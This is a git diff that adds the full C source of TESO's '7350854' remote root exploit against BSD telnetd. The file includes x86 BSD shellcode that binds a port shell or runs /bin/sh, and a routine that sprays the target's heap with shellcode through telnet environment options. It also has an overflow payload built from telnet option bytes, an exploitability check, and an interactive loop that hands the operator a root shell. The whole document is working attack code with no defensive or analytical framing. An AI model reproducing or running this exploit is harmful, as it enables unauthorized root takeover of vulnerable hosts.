initial

1 files changed, 877 insertions, 0 deletions

diff --git a/exploits/7350855/7350855_exploit.c b/exploits/7350855/7350855_exploit.c
new file mode 100644
index 0000000..95dd740
--- /dev/null
+++ b/exploits/7350855/7350855_exploit.c
@@ -0,0 +1,877 @@
+/* 7350854 - x86/bsd telnetd remote root exploit
+ *
+ * TESO CONFIDENTIAL - SOURCE MATERIALS
+ *
+ * This is unpublished proprietary source code of TESO Security.
+ *
+ * The contents of these coded instructions, statements and computer
+ * programs may not be disclosed to third parties, copied or duplicated in
+ * any form, in whole or in part, without the prior written permission of
+ * TESO Security. This includes especially the Bugtraq mailing list, the
+ * www.hack.co.za website and any public exploit archive.
+ *
+ * (C) COPYRIGHT TESO Security, 2001
+ * All Rights Reserved
+ *
+ *****************************************************************************
+ * bug found by scut 2001/06/09
+ * further research by smiler, zip, lorian and me.
+ * thanks to zip's cool friend for giving me a testbed to play on
+ *
+ * tested against: BSDI BSD/OS 4.1
+ *                 NetBSD 1.5
+ *                 FreeBSD 3.1
+ *                 FreeBSD 4.0-REL
+ *                 FreeBSD 4.2-REL
+ *                 FreeBSD 4.3-BETA
+ *                 FreeBSD 4.3-STABLE
+ *                 FreeBSD 4.3-RELEASE
+ *
+ */
+
+#define VERSION "0.0.7"
+
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <arpa/telnet.h>
+#include <netdb.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+
+/* global variables, uhhohh!
+ */
+int     mode = 16;
+int     num = 245;
+int     pop = 31500;    /* puts code at 0x08fdff0a */
+int     bs = 1;         /* buffer start */
+
+int     num34 = 244;
+int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
+int     bs34 = 0;
+
+int     walk;           /* populator walker */
+int     force = 0;      /* force exploitation */
+int     checkonly = 0;  /* check telnetd only */
+
+
+void usage (char *progname);
+int xp_check (int fd);
+void xp_pop (int fd);
+void xp_shrinkwin (int fd);
+void xp_setenv (int fd, unsigned char *var, unsigned char *val);
+void xp (int fd);
+void shell (int sock);
+void hexdump (char *desc, unsigned char *data, unsigned int amount);
+
+/* imported from shellkit */
+unsigned long int random_get (unsigned long int low, unsigned long int high);
+void random_init (void);
+int bad (unsigned char u);
+int badstr (unsigned char *code, int code_len, unsigned char *bad,
+        int bad_len);
+unsigned long int x86_nop_rwreg (void);
+unsigned long int x86_nop_xfer (char *xferstr);
+unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len);
+
+#define BSET(dest, len, val, bw) { \
+        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
+        dest |= val << (8 - bw - len);          /* set value bits */ \
+        bw += len; \
+}
+
+/* imported from network.c */
+#define NET_CONNTIMEOUT 60
+int     net_conntimeout = NET_CONNTIMEOUT;
+
+unsigned long int net_resolve (char *host);
+int net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec);
+
+
+/* x86/bsd PIC portshell shellcode
+ * by lorian/teso
+ * port 0x4444 (might want to change it here)
+ */
+unsigned char   x86_bsd_portshell[] =
+        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
+        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
+                                /* ^^  ^^ port */
+        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
+        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
+        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
+        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
+        "\x80";
+
+/* x86/bsd PIC execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_execvesh[] =
+        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
+        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
+
+/* x86/bsd(i)+solaris execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_compaexec[] =
+    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
+    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
+    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
+    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
+
+
+unsigned char * shellcode = x86_bsd_compaexec;
+
+
+#define COL 55
+
+
+void
+usage (char *progname)
+{
+        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
+        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
+                "-c\tcheck exploitability only, do not exploit\n"
+                "-f\tforce mode, override check results\n\n");
+        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
+                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
+                        "take that, or it will take very long for it (> 1h). beware.\n\n");
+        
+        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
+                        "\tNetBSD 1.5\n"
+                        "\tBSDI BSD/OS 4.1\n\n");
+
+        exit (EXIT_FAILURE);
+}
+
+int
+main (int argc, char *argv[])
+{
+        char                    c;
+        char *                  progname;
+        char *                  dest;
+        int                     i, j, fd,
+                                dots = 0;
+        int                     popc;
+        struct timeval          start,
+                                cur;
+        unsigned long long int  g_pct,  /* gaussian percentage */
+                                g_all;  /* gaussian overall */
+
+
+        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
+                "by zip, lorian, smiler and scut.\n\n");
+
+        progname = argv[0];
+        if (argc < 2)
+                usage (progname);
+
+
+        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
+                switch (c) {
+                case 'n':
+                        num = atoi (optarg);
+                        break;
+                case 'c':
+                        checkonly = 1;
+                        break;
+                case 'f':
+                        force = 1;
+                        break;
+                default:
+                        usage (progname);
+                        break;
+                }
+        }
+
+        dest = argv[argc - 1];
+        if (dest[0] == '-')
+                usage (progname);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect\n");
+                exit (EXIT_FAILURE);
+        }
+
+        random_init ();
+
+        if (xp_check (fd) == 0 && force == 0) {
+                printf ("aborting\n");
+#ifndef DEBUG
+                exit (EXIT_FAILURE);
+#endif
+        }
+        close (fd);
+
+        if (checkonly)
+                exit (EXIT_SUCCESS);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect the second time\n");
+                exit (EXIT_FAILURE);
+        }
+
+        printf ("\n#############################################################################\n\n");
+        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
+                "telnet daemon process, it will spill badly. but then, there is no\n"
+                "other way, sorry...\n\n", mode);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        printf ("## setting populators to populate heap address space\n");
+
+        g_all = ((unsigned long long int)(pop / 2)) *
+                        ((unsigned long long int)(pop + 1));
+        g_pct = 0;
+
+        printf ("## number of setenvs (dots / network): %d\n", pop);
+        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
+        printf ("##\n");
+        printf ("## the percentage is more realistic than the dots ;)\n");
+        printf ("\n");
+        printf ("percent |");
+
+        popc = pop / COL;
+        for (i = pop / popc ; i >= 0 ; --i)
+                printf ("-");
+        printf ("|      ETA |\n");
+
+        gettimeofday (&start, NULL);
+
+        for (walk = 0 ; walk < pop ; ++walk) {
+                xp_pop (fd);
+
+                g_pct += walk;
+
+                if (walk % popc == 0)
+                        dots += 1;
+
+                if (walk % 200 == 0) {
+                        int                     pct;
+                        float                   pct_f;
+                        unsigned long int       diff;
+
+                        pct = (int) ((g_pct * 100) / g_all);
+                        pct_f = g_pct * 100;
+                        pct_f /= (float) g_all;
+
+                        /* calculate difference not caring about accuracy */
+                        gettimeofday (&cur, NULL);
+                        diff = cur.tv_sec - start.tv_sec;
+
+                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
+                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
+                        for (j = 0 ; j < dots ; ++j)
+                                printf (".");
+                        for ( ; j <= COL ; ++j)
+                                printf (" ");
+
+                        if (pct != 0) {
+                                diff = (int) ((((float)(100 - pct_f)) /
+                                        (float) pct_f) * diff);
+                                printf ("| %02lu:%02lu:%02lu |",
+                                        diff / 3600, (diff % 3600) / 60,
+                                        diff % 60);
+                        } else {
+                                printf ("| --:--:-- |");
+                        }
+
+                        fflush (stdout);
+                }
+        }
+        printf ("\n\n");
+
+        printf ("## sleeping for 10 seconds to let the process recover\n");
+        sleep (10);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        /* return into 0x08feff0a */
+        xp (fd);
+        sleep (1);
+
+        printf ("## ok, you should now have a root shell\n");
+        printf ("## as always, after hard times, there is a reward...\n");
+        printf ("\n\ncommand: ");
+        fflush (stdout);
+
+        shell (fd);
+
+        exit (EXIT_SUCCESS);
+}
+
+
+void
+xp (int fd)
+{
+        int             n;
+        unsigned char   buf[2048];
+
+
+        /* basic overflow */
+        for (n = bs ; n < sizeof (buf) ; ++n)
+                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
+
+        /* some nifty alignment */
+        buf[0] = '\xff';        /* IAC */
+        buf[1] = '\xf5';        /* AO  */
+
+        if (mode == 16) {
+                buf[2] = '\xff';        /* IAC */
+                buf[3] = '\xfb';        /* WILL */
+                buf[4] = '\x26';        /* ENCRYPTION */
+        }
+
+        /* force 0x08feff0a as return */
+        buf[num++] = '\xff';
+        buf[num++] = '\xfb';
+        buf[num++] = '\x08';
+
+        /* and the output_encrypt overwrite action, yay! */
+        buf[num++] = '\xff';
+        buf[num++] = '\xf6';
+
+        /* XXX: should not fail here, though we should better loop and check */
+        n = send (fd, buf, num, 0);
+        if (n != num) {
+                perror ("xp:send");
+        }
+}
+
+
+#ifdef INSANE_MIND
+
+void
+xp_shrinkwin (int fd)
+{
+        int             n;
+        int             iobc;
+        int             p = 0;
+        unsigned char   buf[2048];
+        char            c;
+        int             val;
+        int             len;
+
+        for (n = 0 ; n < sizeof (buf) ; ++n)
+                buf[n] = n % 2 ? '\xf6' : '\xff';
+
+        len = sizeof (val);
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+        val = 1;
+        printf ("setsockopt: %s\n",
+                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
+                "FAILED" : "SUCCESS");
+        val = 1234;
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+
+        getchar();
+        while (1) {
+                if (p > 105)
+                        c = getchar();
+                if (c == 'r') {
+                        getchar();
+                        read (fd, &buf[1024], 384);
+                } else if (c == 'o') {
+                        getchar();
+                        send (fd, "7", 1, MSG_OOB);
+                } else if (c != 'r') {
+                        usleep(100000);
+                        n = send (fd, buf, 112, 0);
+                        ioctl (fd, FIONREAD, &iobc);
+                        len = sizeof (val);
+                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
+                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
+                                ++p, n, iobc, val, val - iobc);
+                }
+        }
+}
+#endif
+
+
+/* xp_pop - populator function
+ *
+ * causes remote telnet daemon to setenv() variables with our content, populating
+ * the heap with shellcode. this will get us more nopspace and place our shellcode
+ * where the nice addresses are, that we can create by writing telnet option
+ * strings.
+ *
+ * XXX: there seems to be a maximum size for the environment value you can set,
+ *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
+ *      should work, rather similar to tsig tcp/malloc exploitation. -sc
+ */
+
+void
+xp_pop (int fd)
+{
+        unsigned char   var[16];
+        unsigned char   storebuf[496];
+        sprintf (var, "%06x", walk);
+#ifdef DEBUG
+        memset (storebuf, '\xcc', sizeof (storebuf));
+#else
+/*      memset (storebuf, '\x90', sizeof (storebuf));   */
+        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
+        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
+                shellcode, strlen (shellcode));
+#endif
+        storebuf[sizeof (storebuf) - 1] = '\0';
+
+        xp_setenv (fd, var, storebuf);
+}
+
+
+void
+xp_setenv (int fd, unsigned char *var, unsigned char *val)
+{
+        int             n = 0;
+        unsigned char   buf[2048];
+
+        buf[n++] = IAC;
+        buf[n++] = SB;
+        buf[n++] = TELOPT_NEW_ENVIRON;
+        buf[n++] = TELQUAL_IS;
+        buf[n++] = ENV_USERVAR;
+
+        /* should not contain < 0x04 */
+        while (*var) {
+                if (*var == IAC)
+                        buf[n++] = *var;
+                buf[n++] = *var++;
+        }
+        buf[n++] = NEW_ENV_VALUE;
+        while (*val) {
+                if (*val == IAC)
+                        buf[n++] = *val;
+                buf[n++] = *val++;
+        }
+        buf[n++] = IAC;
+        buf[n++] = SE;
+
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_setenv:send");
+                exit (EXIT_FAILURE);
+        }
+}
+
+
+int
+xp_check (int fd)
+{
+        int             n;
+        unsigned int    expect_len = 15;
+        unsigned char   expected[] =
+                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
+                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
+        unsigned int    additional_len = 8;
+        unsigned char   additional[] =
+                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
+                /*IAC SB  ENC ........... IAC SE */
+
+        unsigned char   buf[128];
+
+        read (fd, buf, sizeof (buf));
+
+        n = 0;
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = AYT;                 /* 0xf6 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_NAOL;         /* 0x08 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */
+
+#ifdef DEBUG
+        hexdump ("check send buffer", buf, n);
+#endif
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_check:send");
+                exit (EXIT_FAILURE);
+        }
+
+        n = read (fd, buf, sizeof (buf));
+#ifdef DEBUG
+        hexdump ("check recv buffer", buf, n);
+#endif
+
+        if (memcmp (buf, expected, expect_len) == 0) {
+                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
+                        mode = 16;
+                } else {
+                        mode = 34;
+                        bs = bs34;
+                }
+                printf ("check: PASSED, using %dmb mode\n", mode);
+
+                return (1);
+        }
+
+        printf ("check: FAILED\n");
+
+        return (0);
+}
+
+
+void
+shell (int sock)
+{
+        int     l;
+        char    buf[512];
+        fd_set  rfds;
+
+
+        while (1) {
+                FD_SET (0, &rfds);
+                FD_SET (sock, &rfds);
+
+                select (sock + 1, &rfds, NULL, NULL, NULL);
+                if (FD_ISSET (0, &rfds)) {
+                        l = read (0, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read user");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (sock, buf, l);
+                }
+
+                if (FD_ISSET (sock, &rfds)) {
+                        l = read (sock, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read remote");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (1, buf, l);
+                }
+        }
+}
+
+
+/* ripped from zodiac */
+void
+hexdump (char *desc, unsigned char *data, unsigned int amount)
+{
+        unsigned int    dp, p;  /* data pointer */
+        const char      trans[] =
+                "................................ !\"#$%&'()*+,-./0123456789"
+                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
+                "nopqrstuvwxyz{|}~...................................."
+                "....................................................."
+                "........................................";
+
+
+        printf ("/* %s, %u bytes */\n", desc, amount);
+
+        for (dp = 1; dp <= amount; dp++) {
+                fprintf (stderr, "%02x ", data[dp-1]);
+                if ((dp % 8) == 0)
+                        fprintf (stderr, " ");
+                if ((dp % 16) == 0) {
+                        fprintf (stderr, "| ");
+                        p = dp;
+                        for (dp -= 16; dp < p; dp++)
+                                fprintf (stderr, "%c", trans[data[dp]]);
+                        fflush (stderr);
+                        fprintf (stderr, "\n");
+                }
+                fflush (stderr);
+        }
+        if ((amount % 16) != 0) {
+                p = dp = 16 - (amount % 16);
+                for (dp = p; dp > 0; dp--) {
+                        fprintf (stderr, "   ");
+                        if (((dp % 8) == 0) && (p != 8))
+                                fprintf (stderr, " ");
+                        fflush (stderr);
+                }
+                fprintf (stderr, " | ");
+                for (dp = (amount - (16 - p)); dp < amount; dp++)
+                        fprintf (stderr, "%c", trans[data[dp]]);
+                fflush (stderr);
+        }
+        fprintf (stderr, "\n");
+
+        return;
+}
+
+
+
+unsigned long int
+net_resolve (char *host)
+{
+        long            i;
+        struct hostent  *he;
+
+        i = inet_addr(host);
+        if (i == -1) {
+                he = gethostbyname(host);
+                if (he == NULL) {
+                        return (0);
+                } else {
+                        return (*(unsigned long *) he->h_addr);
+                }
+        }
+        return (i);
+}
+
+
+int
+net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec)
+{
+        int                     n,
+                                len,
+                                error,
+                                flags;
+        int                     fd;
+        struct timeval          tv;
+        fd_set                  rset, wset;
+        struct sockaddr_in      csa;
+
+        if (cs == NULL)
+                cs = &csa;
+
+        /* first allocate a socket */
+        cs->sin_family = AF_INET;
+        cs->sin_port = htons (port);
+        fd = socket (cs->sin_family, SOCK_STREAM, 0);
+        if (fd == -1)
+                return (-1);
+
+        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
+                close (fd);
+                return (-1);
+        }
+
+        flags = fcntl (fd, F_GETFL, 0);
+        if (flags == -1) {
+                close (fd);
+                return (-1);
+        }
+        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
+        if (n == -1) {
+                close (fd);
+                return (-1);
+        }
+
+        error = 0;
+
+        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
+        if (n < 0) {
+                if (errno != EINPROGRESS) {
+                        close (fd);
+                        return (-1);
+                }
+        }
+        if (n == 0)
+                goto done;
+
+        FD_ZERO(&rset);
+        FD_ZERO(&wset);
+        FD_SET(fd, &rset);
+        FD_SET(fd, &wset);
+        tv.tv_sec = sec;
+        tv.tv_usec = 0;
+
+        n = select(fd + 1, &rset, &wset, NULL, &tv);
+        if (n == 0) {
+                close(fd);
+                errno = ETIMEDOUT;
+                return (-1);
+        }
+        if (n == -1)
+                return (-1);
+
+        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
+                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
+                        len = sizeof(error);
+                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
+                                errno = ETIMEDOUT;
+                                return (-1);
+                        }
+                        if (error == 0) {
+                                goto done;
+                        } else {
+                                errno = error;
+                                return (-1);
+                        }
+                }
+        } else
+                return (-1);
+
+done:
+        n = fcntl(fd, F_SETFL, flags);
+        if (n == -1)
+                return (-1);
+        return (fd);
+}
+
+
+/* imported from shellkit */
+
+unsigned long int
+random_get (unsigned long int low, unsigned long int high)
+{
+        unsigned long int       val;
+
+        if (low > high) {
+                low ^= high;
+                high ^= low;
+                low ^= high;
+        }
+
+        val = (unsigned long int) random ();
+        val %= (high - low);
+        val += low;
+
+        return (val);
+}
+
+
+void
+random_init (void)
+{
+        srandom (time (NULL));
+}
+
+
+int
+bad (unsigned char u)
+{
+        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
+                return (1);
+
+        return (0);
+}
+
+int
+badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
+{
+        int     n;
+
+        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
+                for (n = 0 ; n < bad_len ; ++n)
+                        if (code[code_len] == bad[n])
+                                return (1);
+        }
+
+        return (0);
+}
+
+unsigned long int
+x86_nop_rwreg (void)
+{
+        unsigned long int       reg;
+
+        do {
+                reg = random_get (0, 7);
+        } while (reg == 4);     /* 4 = $esp */
+
+        return (reg);
+}
+
+
+
+unsigned long int
+x86_nop_xfer (char *xferstr)
+{
+        int                     bw = 0; /* bitfield walker */
+        unsigned char           tgt;    /* resulting instruction */
+
+        /* in a valid xferstr we trust */
+        for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
+                switch (xferstr[0]) {
+                case ('0'):
+                        BSET (tgt, 1, 0, bw);
+                        break;
+                case ('1'):
+                        BSET (tgt, 1, 1, bw);
+                        break;
+                case ('r'):
+                        BSET (tgt, 3, x86_nop_rwreg (), bw);
+                        break;
+                case ('.'):
+                        break;  /* ignore */
+                default:
+                        fprintf (stderr, "on steroids, huh?\n");
+                        exit (EXIT_FAILURE);
+                        break;
+                }
+        }
+
+        if (bw != 8) {
+                fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
+                exit (EXIT_FAILURE);
+        }
+
+        return (tgt);
+}
+
+
+unsigned int
+x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len)
+{
+        int     walk;
+        int     bcount; /* bad counter */
+        char *  xs;
+        char *  xferstr[] = {
+                "0011.0111",    /* aaa */
+                "0011.1111",    /* aas */
+                "1001.1000",    /* cbw */
+                "1001.1001",    /* cdq */
+                "1111.1000",    /* clc */
+                "1111.1100",    /* cld */
+                "1111.0101",    /* cmc */
+                "0010.0111",    /* daa */
+                "0010.1111",    /* das */
+                "0100.1r",      /* dec <reg> */
+                "0100.0r",      /* inc <reg> */
+                "1001.1111",    /* lahf */
+                "1001.0000",    /* nop */
+                "1111.1001",    /* stc */
+                "1111.1101",    /* std */
+                "1001.0r",      /* xchg al, <reg> */
+                NULL,
+        };
+        unsigned char   tgt;
+
+
+        for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
+                /* avoid endless loops on excessive badlisting */
+                for (bcount = 0 ; bcount < 16384 ; ++bcount) {
+                        xs = xferstr[random_get (0, 15)];
+                        tgt = x86_nop_xfer (xs);
+
+                        dest[walk] = tgt;
+                        if (badstr (&dest[walk], 1, bad, bad_len) == 0)
+                                break;
+                }
+
+                /* should not happen */
+                if (bcount >= 16384) {
+                        fprintf (stderr, "too much blacklisting, giving up...\n");
+                        exit (EXIT_FAILURE);
+                }
+        }
+
+        return (walk);
+}
+
+